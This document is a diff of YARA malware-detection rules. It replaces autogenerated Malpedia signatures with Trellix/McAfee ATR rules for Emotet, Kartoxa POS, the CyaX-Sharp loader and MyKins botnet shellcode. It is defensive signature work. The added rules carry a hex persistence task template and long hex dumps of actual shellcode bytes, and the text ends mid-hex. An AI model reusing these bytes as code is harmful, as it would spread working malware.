+rule TRELLIX_ARC_MALW_Emotet : FINANCIAL FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "3b37a750-d7e0-5ba6-b796-2dbd4d0ee414"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.acbackdoor"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.acbackdoor_auto.yar#L1-L134"
-		license_url = "N/A"
-		logic_hash = "429f71da1516445c35871fa605cbaf3bc00568c9cb40515ab43ec3dc7a2d0a3f"
+		description = "Rule to detect unpacked Emotet"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "5bc83065-dfdd-56b7-9983-200bff35c8b1"
+		date = "2020-07-21"
+		modified = "2020-08-14"
+		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_emotet.yar#L1-L32"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "223e4453a6c3b56b0bc0f91147fa55ea59582d64b8a5c08f1f8d06026044065e"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "FINANCIAL, FILE"
+		rule_version = "v1"
+		malware_type = "financial"
+		malware_family = "Backdoor:W32/Emotet"
+		actor_type = "Cybercrime"
+		hash1 = "a6621c093047446e0e8ae104769af93a5a8ed147ab8865afaafbbd22adbd052d"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { ba04000000 e9???????? 8b542448 8b4c244c 8b742440 89542420 894c2424 }
-		$sequence_1 = { ebbd 8b442440 890424 ff15???????? 83ec04 89c3 83c42c }
-		$sequence_2 = { c744240c76070000 c7442408???????? c744240404000000 892c24 e8???????? 8b442438 892c24 }
-		$sequence_3 = { 8b7904 895c2408 894c2404 890424 e8???????? 8b4c243c 0fb64500 }
-		$sequence_4 = { e8???????? 85c0 7e06 83c414 5b 5e c3 }
-		$sequence_5 = { e8???????? 8b06 8b5054 85d2 0f8415fdffff 8b4050 85c0 }
-		$sequence_6 = { c744241087934a00 c744240cc8000000 c7442408???????? c744240401000000 892c24 e8???????? 8b85c4000000 }
-		$sequence_7 = { 89c8 8b4c2430 31de 8b5c2434 8987d0000000 894f50 895f54 }
-		$sequence_8 = { e8???????? 8b83c4000000 c783cc00000004000000 c783c800000016000000 c60000 891c24 e8???????? }
-		$sequence_9 = { e8???????? 8bbc241c020000 8d742434 31db 85ff 7e1e 8b86f0010000 }
+		$pattern_0 = { 8b45fc 8be5 5d c3 55 8bec }
+		$pattern_1 = { 3c39 7e13 3c61 7c04 3c7a 7e0b 3c41 }
+		$pattern_2 = { 7c04 3c39 7e13 3c61 7c04 3c7a 7e0b }
+		$pattern_3 = { 5f 8bc6 5e 5b 8be5 }
+		$pattern_4 = { 5f 668906 5e 5b }
+		$pattern_5 = { 3c30 7c04 3c39 7e13 3c61 7c04 }
+		$pattern_6 = { 53 56 57 8bfa 8bf1 }
+		$pattern_7 = { 3c39 7e13 3c61 7c04 3c7a 7e0b }
+		$pattern_8 = { 55 8bec 83ec14 53 }
+		$pattern_9 = { 5e 8be5 5d c3 55 8bec }
 
 	condition:
-		7 of them and filesize <1704960
+		7 of them and filesize <180224
 }
-rule MALPEDIA_Win_Solarbot_Auto : FILE
+rule TRELLIX_ARC_Kartoxa_Malware_Pdb : POS FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "8e3c74e1-0da4-57ab-ab5f-74e62e2d1f7c"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.solarbot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.solarbot_auto.yar#L1-L115"
-		license_url = "N/A"
-		logic_hash = "2b058f45b0c5077e371ef262d327c05a0be6ae89bd9fed8f4379a07e0dfd6a86"
+		description = "Rule to detect Kartoxa POS based on the PDB"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "3d2dbf22-5d8f-5f19-9048-2d021ada22c8"
+		date = "2010-10-09"
+		modified = "2020-08-14"
+		reference = "https://securitynews.sonicwall.com/xmlpost/guatambu-new-multi-component-infostealer-drops-kartoxa-pos-malware-apr-08-2016/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_backdoor_katorxa_pdb.yar#L1-L25"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "86dd21b8388f23371d680e2632d0855b442f0fa7e93cd009d6e762715ba2d054"
+		logic_hash = "6e1810af386f3aada4cd1d72f76d8210d201808c8fe1d21d379ff1a825d93710"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "POS, FILE"
+		rule_version = "v1"
+		malware_type = "pos"
+		malware_family = "Pos:W32/Kartoxa"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 0f8407feffff bb01000000 4b 90 43 8b854cfeffff }
-		$sequence_1 = { 50 8d8500fcffff 50 6a00 }
-		$sequence_2 = { 85db 7463 ff75f8 e8???????? 84c0 7457 }
-		$sequence_3 = { 8d85f4fdffff 50 e8???????? 6a0c 8d85e8fdffff 50 e8???????? }
-		$sequence_4 = { 50 e8???????? 680c010000 8d85f4faffff }
-		$sequence_5 = { 8b4508 8945cc 8b7d0c 8b4510 }
-		$sequence_6 = { 53 e8???????? 83fe0c 7509 ff75f0 }
-		$sequence_7 = { 85c0 0f847d000000 ff75f4 e8???????? }
-		$sequence_8 = { c645c401 eb23 6a00 6a00 6a00 }
-		$sequence_9 = { 83c040 8985e4fdffff 8b85e0fdffff 0385d0fdffff 8b583c 83bdccfdffff0c }
+		$pdb = "\\vm\\devel\\dark\\mmon\\Release\\mmon.pdb"
 
 	condition:
-		7 of them and filesize <204800
+		uint16(0)==0x5a4d and filesize <200KB and any of them
 }
-rule MALPEDIA_Win_Cloudwizard_Auto : FILE
+rule TRELLIX_ARC_Cyaxsharp_Rezer0 : LOADER
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "429d1e4e-ef3f-5d58-8bf0-a0b83d6be71f"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudwizard"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cloudwizard_auto.yar#L1-L122"
-		license_url = "N/A"
-		logic_hash = "1171accd4a2881e0996da43d7ff173c5cb1938e75ca585c448a0136c0ce6d102"
+		description = "Detects CyaX-Sharp/ReZer0 loader samples based on the embedded scheduled task template"
+		author = "Max 'Libra' Kersten for McAfee's Advanced Threat Research Team"
+		id = "7a1addcf-4e8f-5290-8788-9b0738128160"
+		date = "2021-04-08"
+		modified = "2021-08-04"
+		reference = "This rule was published in combination with the following McAfee ATR blog: https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/see-ya-sharp-a-loaders-tale/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MAL_cyax_sharp_loader.yar#L1-L16"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "3d6daaf7a85a9b3898e4ce5d5293b09f26965f9f7280b34ba8f6814b7f14dec2"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "LOADER"
+		version = "1.0"
+		malware_type = "loader"
 
 	strings:
-		$sequence_0 = { c3 8d85d4fdffff 50 57 c785d4fdffff2c020000 e8???????? }
-		$sequence_1 = { 668945ee 58 6a7c 668945f0 58 6a6d }
-		$sequence_2 = { 8d45ec 663118 40 40 }
-		$sequence_3 = { 8bc8 8d8618060000 8d7802 668b18 40 40 6685db }
-		$sequence_4 = { ebd6 55 8bec 81ecb80e0000 }
-		$sequence_5 = { 6a01 897dfc 57 c706???????? 897e30 ff15???????? 894634 }
-		$sequence_6 = { 8d4530 d1f9 50 8d044e 50 e8???????? }
-		$sequence_7 = { 668945b8 8d45a0 663108 40 40 663918 }
-		$sequence_8 = { 40 6685d2 75f6 2bc1 8d8e18060000 }
-		$sequence_9 = { 6a5b 6689451e 58 6a5c 66894520 58 6a4d }
+		$template = { 01A10C3C3F786D6C2076657273696F6E3D22312E302220656E636F64696E673D225554462D3136223F3E0D0A3C5461736B2076657273696F6E3D22312E322220786D6C6E733D22687474703A2F2F736368656D61732E6D6963726F736F66742E636F6D2F77696E646F77732F323030342F30322F6D69742F7461736B223E0D0A20203C526567697374726174696F6E496E666F3E0D0A202020203C446174653E323031342D31302D32355431343A32373A34342E383932393032373C2F446174653E0D0A202020203C417574686F723E5B5553455249445D3C2F417574686F723E0D0A20203C2F526567697374726174696F6E496E666F3E0D0A20203C54726967676572733E0D0A202020203C4C6F676F6E547269676765723E0D0A2020202020203C456E61626C65643E747275653C2F456E61626C65643E0D0A2020202020203C5573657249643E5B5553455249445D3C2F5573657249643E0D0A202020203C2F4C6F676F6E547269676765723E0D0A202020203C526567697374726174696F6E547269676765723E0D0A2020202020203C456E61626C65643E66616C73653C2F456E61626C65643E0D0A202020203C2F526567697374726174696F6E547269676765723E0D0A20203C2F54726967676572733E0D0A20203C5072696E636970616C733E0D0A202020203C5072696E636970616C2069643D22417574686F72223E0D0A2020202020203C5573657249643E5B5553455249445D3C2F5573657249643E0D0A2020202020203C4C6F676F6E547970653E496E746572616374697665546F6B656E3C2F4C6F676F6E547970653E0D0A2020202020203C52756E4C6576656C3E4C6561737450726976696C6567653C2F52756E4C6576656C3E0D0A202020203C2F5072696E636970616C3E0D0A20203C2F5072696E636970616C733E0D0A20203C53657474696E67733E0D0A202020203C4D756C7469706C65496E7374616E636573506F6C6963793E53746F704578697374696E673C2F4D756C7469706C65496E7374616E636573506F6C6963793E0D0A202020203C446973616C6C6F77537461727449664F6E4261747465726965733E66616C73653C2F446973616C6C6F77537461727449664F6E4261747465726965733E0D0A202020203C53746F704966476F696E674F6E4261747465726965733E747275653C2F53746F704966476F696E674F6E4261747465726965733E0D0A202020203C416C6C6F77486172645465726D696E6174653E66616C73653C2F416C6C6F77486172645465726D696E6174653E0D0A202020203C53746172745768656E417661696C61626C653E747275653C2F53746172745768656E417661696C61626C653E0D0A202020203C52756E4F6E6C7949664E6574776F726B417661696C61626C653E66616C73653C2F52756E4F6E6C7949664E6574776F726B417661696C61626C653E0D0A202020203C49646C6553657474696E67733E0D0A2020202020203C53746F704F6E49646C65456E643E747275653C2F53746F704F6E49646C65456E643E0D0A2020202020203C526573746172744F6E49646C653E66616C73653C2F526573746172744F6E49646C653E0D0A202020203C2F49646C6553657474696E67733E0D0A202020203C416C6C6F7753746172744F6E44656D616E643E747275653C2F416C6C6F7753746172744F6E44656D616E643E0D0A202020203C456E61626C65643E747275653C2F456E61626C65643E0D0A202020203C48696464656E3E66616C73653C2F48696464656E3E0D0A202020203C52756E4F6E6C79496649646C653E66616C73653C2F52756E4F6E6C79496649646C653E0D0A202020203C57616B65546F52756E3E66616C73653C2F57616B65546F52756E3E0D0A202020203C457865637574696F6E54696D654C696D69743E505430533C2F457865637574696F6E54696D654C696D69743E0D0A202020203C5072696F726974793E373C2F5072696F726974793E0D0A20203C2F53657474696E67733E0D0A20203C416374696F6E7320436F6E746578743D22417574686F72223E0D0A202020203C457865633E0D0A2020202020203C436F6D6D616E643E5B4C4F434154494F4E5D3C2F436F6D6D616E643E0D0A202020203C2F457865633E0D0A20203C2F416374696F6E733E0D0A3C2F5461736B3E }
 
 	condition:
-		7 of them and filesize <134144
+		$template
 }
-rule MALPEDIA_Win_Exaramel_Auto : FILE
+rule TRELLIX_ARC_Shellcode_Mykins_Botnet : SHELLCODE FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "55f2eda2-5892-5031-b695-0db68fb2d622"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.exaramel"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.exaramel_auto.yar#L1-L120"
-		license_url = "N/A"
-		logic_hash = "746a3a522250db31852461e3a3a31996745122c83c94633343076460de517b9c"
+		description = "Rule to detect the shellcode used in the MyKins Botnet"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "9dc80b27-59e2-5925-9bb7-64a54241f52b"
+		date = "2018-01-24"
+		modified = "2020-08-14"
+		reference = "https://blog.netlab.360.com/mykings-the-botnet-behind-multiple-active-spreading-botnets/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_shellcode_mykins_botnet.yar#L1-L27"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "5fa54c41a423d776d05bdac5b171ee685f54372b4e6aa41b57cce769ac2c6976"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "SHELLCODE, FILE"
+		rule_version = "v1"
+		malware_type = "shellcode"
+		malware_family = "ShellCode:W32/MyKins"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 8bf0 85f6 7425 8d4e02 51 e8???????? 8b4d0c }
-		$sequence_1 = { 83c408 85c0 7834 ff750c ff7508 ff75fc }
-		$sequence_2 = { 3934bd60dd4100 7531 e8???????? 8904bd60dd4100 }
-		$sequence_3 = { 8be5 5d c3 81f903000080 7519 ff35???????? b8???????? }
-		$sequence_4 = { 7439 6aff 50 ff15???????? 85c0 7538 56 }
-		$sequence_5 = { 50 e8???????? ffb5f0fdffff e8???????? 83c414 8b4dfc }
-		$sequence_6 = { ffb5a4faffff ff15???????? 85c0 0f85c1feffff 33f6 }
-		$sequence_7 = { 5d c3 f68594f7ffff10 746d }
-		$sequence_8 = { 744b 817df4e8030000 b801000000 68f0030000 0f42f0 }
-		$sequence_9 = { c3 8b03 8d4dec 51 6800040000 }
+		$a = { 4883EC28E847000000488D0DF0FFFFFF488D1539000000482BCA4803C14883C428C3CCCC488D05D5FFFFFF482BC8488BC1C3CCCC4883EC28E83F0D000033C04883C428C3CCCCCCCCCCCCCCCCCCCCCCCCE8000000005848B95510004001000000482BC148B950100040010000004803C1C3CCCCCC48897C24084C8BC94D85C0740C488BF9480FBEC2498BC8F3AA488B7C2408498BC1C3CCCC40534883EC20488BD9E85AFFFFFF488D0D53FFFFFF482BD94803C34883C4205BC3CCCCCC33D28BC2EB06FFC04883C10266391175F5F3C3CC668339004C8BC1740B4983C002664183380075F54C2BC20FB70266418904104883C2026685C075EF488BC1C34C8BC14C2BC20FB70266418904104883C2026685C075EF488BC1C3CC4C8BC14C2BC28A024188041048FFC284C075F3488BC1C3CC8039004C8BC1740949FFC04180380075F74C2BC28A024188041048FFC284C075F3488BC1C3CCCCCC48895C24084533D2458BCA4585C07E320FB702663901741A0FB719440FB7D88BC3412BC383F8207409442BDB4183FB20751041FFC14883C1024883C202453BC87CCE488B5C2408453BC8410F95C2418BC2C3CCCC4533C948895108458BC16644390A740D41FFC04963C06644390C4275F3664503C066448901664183C0026644894102C34883EC3833C04C8BD233D248895424228954242A668954242E66894424204885C9741A4D85D27415488BD1488D4C2420E89BFFFFFF488D4C242041FFD24883C438C3CCCC4883EC284863C14C8BCA4C8D44243833D233C94869C0F0D8FFFF488944243841FFD14883C428C3CC48895C241048897C241855488BEC4883EC604883651000488365C800488365D800488365E000488365F000488365F800498BD9498BF848894DC0488BC24C8D4DC04C8D45D0488D4D10BAFFFF1F00C745D030000000C745E840020000FFD0488B4D104885C9740DBA01000000FFD7488B4D10FFD34C8D5C2460498B5B18498B7B20498BE35DC3CCCC488BC44889580848896810565741544883EC308360D80083601800498BF18BEA4C8BE1498BD833FF4C8D4818488D50D88D4F054533C0FFD3894424208B44246085C0750733C0E9C20000008D14004533C033C9FFD6448B4424604C8D4C2460488BD0B9050000004503C0488BF0FFD38944242085C0740B33D2488BCEFF542470EBC28B4C246048B81986611886611886488BDE48F7E1482BCA48D1E94803CA48C1E908894C2460488B4B404885C9742E0FB743383BC57C262BC5992BC2D1F84C63C8781A8BC54A8D0C49992BC2498BD4D1F8448BC0E8AEFDFFFF85C0740B393B740B8B034803D8EBBE488B7B50488B4424784885C0740A4885FF7405488918EB0933D2488BCEFF542470488BC7488B5C2450488B6C24584883C430415C5F5EC3C20000CC4585C07410482BCA8A0288041148FFC241FFC875F3F3C3CC40534883EC20488BD9E8E6FBFFFF488D0DDFFBFFFF482BD94803C34883C4205BC3CCCCCC48895C2408488974241048897C24185541544155488BEC4883EC404863413C4C8BC1B90B020000488BF2C745E04D6D4765C745E474537973C745E874656D52C745EC6F757469C745F06E654164C745F46472657366C745F873006642394C00180F8584000000428B8400880000004533D24903C08B50208B58248B781C448B68184903D04903D84903F84585ED745B8B024533C94903C044380874234C8D5DE0488BC84C2BD8458A240B4584E47410443821750B48FFC149FFC180390075E741803C0100750842807C0DE000740E41FFC24883C204453BD57310EBB3420FB70C538B048F4903C0488906488B1E4885DB750883C8FFE9E1020000488D0D47340000E8D6FEFFFF488BD3488BC8E89BFCFFFF488D0D5034000048898690000000E8B8FEFFFF488B16488BC8E87DFCFFFF488D0D5A34000048898698000000E89AFEFFFF488B16488BC8E85FFCFFFF488D0D6C34000048894608E87FFEFFFF488B16488BC8E844FCFFFF488D0D8934000048894610E864FEFFFF488B16488BC8E829FCFFFF488D0D9E34000048894618E849FEFFFF488B16488BC8E80EFCFFFF488D0DAB34000048894620E82EFEFFFF488B16488BC8E8F3FBFFFF488D0DC834000048894628E813FEFFFF488B16488BC8E8D8FBFFFF488D0DE534000048894630E8F8FDFFFF488B16488BC8E8BDFBFFFF488D0D0235000048894638E8DDFDFFFF488B16488BC8E8A2FBFFFF488D0DF734000048894640E8C2FDFFFF488B16488BC8E887FBFFFF488D0DFC34000048894648E8A7FDFFFF488B16488BC8E86CFBFFFF488D0D0935000048894650E88CFDFFFF488B16488BC8E851FBFFFF488D0D0E35000048894658E871FDFFFF488BC8488B16E836FBFFFF488D0D2B35000048894660E856FDFFFF488B16488BC8E81BFBFFFF488D0D5035000048894668E83BFDFFFF488B16488BC8E800FBFFFF488D0D5D35000048894670E820FDFFFF488B16488BC8E8E5FAFFFF488D0D7235000048894678E805FDFFFF488B16488BC8E8CAFAFFFF488D0D8735000048898680000000E8E7FCFFFF488B16488BC8E8ACFAFFFF488D0D8935000048898688000000E8C9FCFFFF488B16488BC8E88EFAFFFF488D0D8B350000488986A0000000E8ABFCFFFF488B16488BC8E870FAFFFF488D0D95350000488986A8000000E88DFCFFFF488B16488BC8E852FAFFFF488D0DA7350000488986B0000000E86FFCFFFF488B16488BC8E834FAFFFF488D0DA1350000488986B8000000E851FCFFFF488B16488BC8E816FAFFFF488D0DA3350000488986C0000000E833FCFFFF488B16488BC8E8F8F9FFFF488D0DA5350000488986C8000000E815FCFFFF488B16488BC8E8DAF9FFFF488986D000000033C0488B5C2460488B742468488B7C24704883C440415D415C5DC348895C24085556574154415541564157488DAC2410FEFFFF4881ECF00200004533FF488BD9498BF8488BF2488D8DE100000041B80301000033D24C897C24504C897C24604C897C24704C897C24684C89BD480200004488BDE0000000E8EFF7FFFF488D4DC0C745C01C010000FF9688000000837DC40675488B45C885C0752780BDDA00000001754D83C8FF488B9C24300300004881C4F0020000415F415E415D415C5F5E5DC383F801742A83F802740583F80375D380BDDA000000017517EBC8837DC40A75C244397DC875BC80BDDA0000000175B3488BD7488BCBFF56384C393F74A541BD300000004C897C243041BE000000084C8D8D380200004C8D442478488D4C2460418D55DEBB00020000448974242848C785380200004729000044896C24784C897D80895D904C897D884C897D984C897DA0C744242040000000FF96900000004C397C24607509418D45CEE937FFFFFF895D90BB040000004C897C24304C8D8D380200004C8D442478488D4C24708D530241BC1F4C1000448974242844896C24784C897D804C897D884C89A5380200004C897D984C897DA0895C2420FF9690000000488B0F4C8D7708498BD64C8975B0FF5678488B4C2460C74424484000000044897C2440C744243802000000488D44245048894424304C8D85480200004533C94883CAFF4C897C242848C744242000200000FF9698000000488B4C2470895C244844897C2440C744243802000000488D44245048894424304C8D4424684533C94883CAFF4C897C24284C897C24504C89642420 }
+		$b = { E800000000582D051040000500104000C3558BEC8B45082D001040005DC20400558BECFF7508E80A0A000033C05DC20400558BEC8B4D1085C9741F0FB6450C69C0010101018BD153578B7D08C1E902F3AB8BCA83E103F3AA5F5B8B45085DC3558BECE899FFFFFF8B4D0881E90010400003C15DC20400558BEC8B4D0833C066390174084066833C410075F85DC20400558BEC8B450866833800568BF0740983C60266833E0075F78B4D0C2BF10FB7116689140E83C1026685D275F15E5DC20800558BEC8B55088B450C2BD00FB70866890C0283C0026685C975F18B45085DC20800558BEC8B55088B450C2BD08A08880C024084C975F68B45085DC20800558BEC8B4508803800568BF0740646803E0075FA8B4D0C2BF18A1188140E4184D275F65E5DC20800558BEC5633F63975107E2D8B45088B4D0C0FB704700FB70C71663BC174148BD08BC18BCA2BC883F92074072BC283F8207506463B75107CD333C03B75105E0F95C05DC20C00558BEC8B450C8B550850894204E8FAFEFFFF03C066890283C002668942025DC20800558BEC51515733C0668945F88D7DFAAB33C966AB5F394D08741A394D0C7415FF75088D45F850E8B3FFFFFF8D45F850FF550C8BC88BC1C9C20800558BEC51518B45086AFF9968F0D8FFFF5250E8730A00008945F88D45F8506A006A008955FCFF550CC9C20800558BEC83EC248B4508568945F48D45F4508D45DC5033F668FFFF1F008D45FC508975FC8975F8C745DC180000008975E0C745E8400200008975E48975EC8975F0FF550C3975FC5E740E6A01FF75FCFF5510FF75FCFF5514C9C21000558BEC83EC0C538D45FC5033DB538D45F8506A05895DF8895DFCFF55108945F88B45FC3BC3750733C0E99E000000565303C05053FF55148BF08D45FC508B45FC03C050566A05897514FF55108945F83BC374095356FF551833C0EB6F8B45FC33D2B9F8000000F7F1578945FC8B7E3C3BFB742E0FB746383B450C7C252B450C992BC28BC8D1F978198B450C992BC2D1F850FF75088D044F50E83BFEFFFF85C0740A8B063BC3740903F0EBC18B7E44EB028BFB8B451C3BC374083BFB74048930EB0753FF7514FF55188BC75F5E5BC9C21800C21400558BEC837D100074178B4D088B450C2BC88A10FF4D1088140140837D100075F15DC20C00558BECE8B3FCFFFF8B4D0881E90010400003C15DC20400558BEC83EC2C538B5D088B433CB90B010000568B750CC745D44D6D4765C745D874537973C745DC74656D52C745E06F757469C745E46E654164C745E86472657366C745EC730066394C18180F858F0000008B44187803C38B501C8B482003D3578B78248B40188955F033D203CB03FB8955FC8945F485C07466EB038B5D088B149183650C0003D3803A0074238D5DD42BDA8BC2895DF8EB038B5DF88A1C0384DB740D38187509FF450C4080380075E98B450C803C10007507807C05D400740E8B55FC428955FC3B55F472B0EB128B45FC0FB704478B4DF08B048103450889065F8B0685C0750883C8FFE9230200005068D0414000E8F0FEFFFF50E831FDFFFFFF3689464868F0414000E8DBFEFFFF50E81CFDFFFFFF3689464C6818424000E8C6FEFFFF50E807FDFFFFFF368946046844424000E8B1FEFFFF50E8F2FCFFFFFF368946086878424000E89CFEFFFF50E8DDFCFFFFFF3689460C68A8424000E887FEFFFF50E8C8FCFFFFFF3689461068CC424000E872FEFFFF50E8B3FCFFFFFF368946146800434000E85DFEFFFF50E89EFCFFFFFF368946186834434000E848FEFFFF50E889FCFFFFFF3689461C686C434000E833FEFFFF50E874FCFFFFFF36894620687C434000E81EFEFFFF50E85FFCFFFFFF36894624689C434000E809FEFFFF50E84AFCFFFFFF3689462868C0434000E8F4FDFFFF50E835FCFFFFFF3689462C68DC434000E8DFFDFFFF50E820FCFFFFFF368946306810444000E8CAFDFFFF50E80BFCFFFFFF36894634684C444000E8B5FDFFFF50E8F6FBFFFFFF368946386874444000E8A0FDFFFF50E8E1FBFFFFFF3689463C68A0444000E88BFDFFFF50E8CCFBFFFFFF3689464068D0444000E876FDFFFF50E8B7FBFFFFFF3689464468EC444000E861FDFFFF50E8A2FBFFFFFF368946506808454000E84CFDFFFF50E88DFBFFFFFF368946546830454000E837FDFFFF50E878FBFFFFFF36894658685C454000E822FDFFFF50E863FBFFFFFF3689465C6870454000E80DFDFFFF50E84EFBFFFFFF368946606890454000E8F8FCFFFF50E839FBFFFFFF3689466468AC454000E8E3FCFFFF50E824FBFFFF89466833C05E5BC9C20800558BEC81EC5C020000535633DB5768030100008D85A5FDFFFF5350895DF8895DE8895DDC895DF4895DFC889DA4FDFFFFE889F9FFFF8B7D0C83C40C8D85A8FEFFFF50C785A8FEFFFF1C010000FF574483BDACFEFFFF05751283BDB0FEFFFF02743983BDB0FEFFFF01EB2E83BDACFEFFFF06750E399DB0FEFFFF7510807DC201751983C8FF5F5E5BC9C20C0083BDB0FEFFFF0175ED807DC20175E78B751056FF7508FF571C391E74D95368000000086A408D45EC508D45C4506A0E8D45E850C745EC47250000895DF0C745C418000000895DC8C745D000020000895DCC895DD4895DD8FF5748395DE875056AFE58EB955368000000086A048D45EC508D45C4506A068D45DCBE0B4C1000508975EC895DF0C745C418000000895DC8C745D000020000895DCC895DD4895DD8FF57488B45108D480451FF30894DE0FF573C6A40536A028D45F850536800200000538D45FC506AFFFF75E8FF574C6A04536A028D45F8505356538D45F4506AFFFF75DC895DF88975EC895DF0FF574C395DFC0F84330200008B75F43BF30F8428020000895E048B85B4FEFFFF8946108B85ACFEFFFF8946088B85B0FEFFFF89460C6A0C5889462C8946308B4510C7060C3C1000C7462830000000C746342C000000C7463818000000C7463CA80100008B401C894618895D0C6840464000E800F8FFFF8BC88B450C8A0C0180F10D888C05A4FDFFFF4089450C3D040100007CD98D8DA4FDFFFF8D46405150E855F8FFFF6844474000E8C9F7FFFF508D464050E85DF8FFFF8B45108B40283BC3742C8B4E1883F902750A8B40200504020000EB0D83F90375158B40200500010000508D860001000050E80BF8FFFFE825F7FFFFB9881C400081E90010400003C189450C33C9EB038B450C8A04088B55FC88040A4181F94825000072EB535353680C3C100056FF572C8BF03BF37460536A0156FF57386A1053536A015356FF57348B75108946203BC37447C680040200004E8B4620C68005020000538B4620C680060200002E8B4620C68007020000658B4620C68008020000788B4620C68009020000658B462088980A020000EB038B75108B46243BC30F8497000000895D083958040F868B000000895D0C8B46248B4D0C8B8401DC0000008D4D105150895D10FF5714395D107455FF7510FF57683B06754B536A3053FF57048945E43BC3743DE833F6FFFF53B91E13400081E90010400003C18B4DFC6A0183C12051535053FF7510FF75E4FF57245353FF75F4FF75E4FF5728FF770C6A01E8C1F7FFFFFF45088B46248B4D0883450C403B48040F8278FFFFFFFF75E0FF574033C0E9CFFCFFFFFF75E0FF57406AFDE92AFDFFFF558BEC81EC0C020000565733F66A688D8540FFFFFF565089B53CFFFFFFE8DAF5FFFF83C40C6A0A5933C06A0A8975A88D7DACF3AB5989B510FFFFFF8DBD14FFFFFFF3AB8D45A8898538FFFFFF8D853CFFFFFF50FF7508C745C401000000C7852CFFFFFF02000000E8BBF8FFFF85C00F8582010000538D85F4FDFFFF50C785F4FDFFFF1C010000FF5580BBEC45400083BDF8FDFFFF05750353EB0568D0454000E86CF8FFFF8D4DCC51FFB54CFFFFFFFFB540FFFFFFFFB544FFFFFF6A1850E856F7FFFFFFB548FFFFFF8BF83BFE750C68D0070000E8B9F6FFFFEBB46888130000E8ADF6FFFF8D45A8508D853CFFFFFF5057E849FBFFFF85C00F85F8000000EB10FFB548FFFFFF68D0070000E882F6FFFF8B45C883781C0175E783BDF8FDFFFF05750E6808464000E8E5F7FFFF6A16EB0C68D0454000E8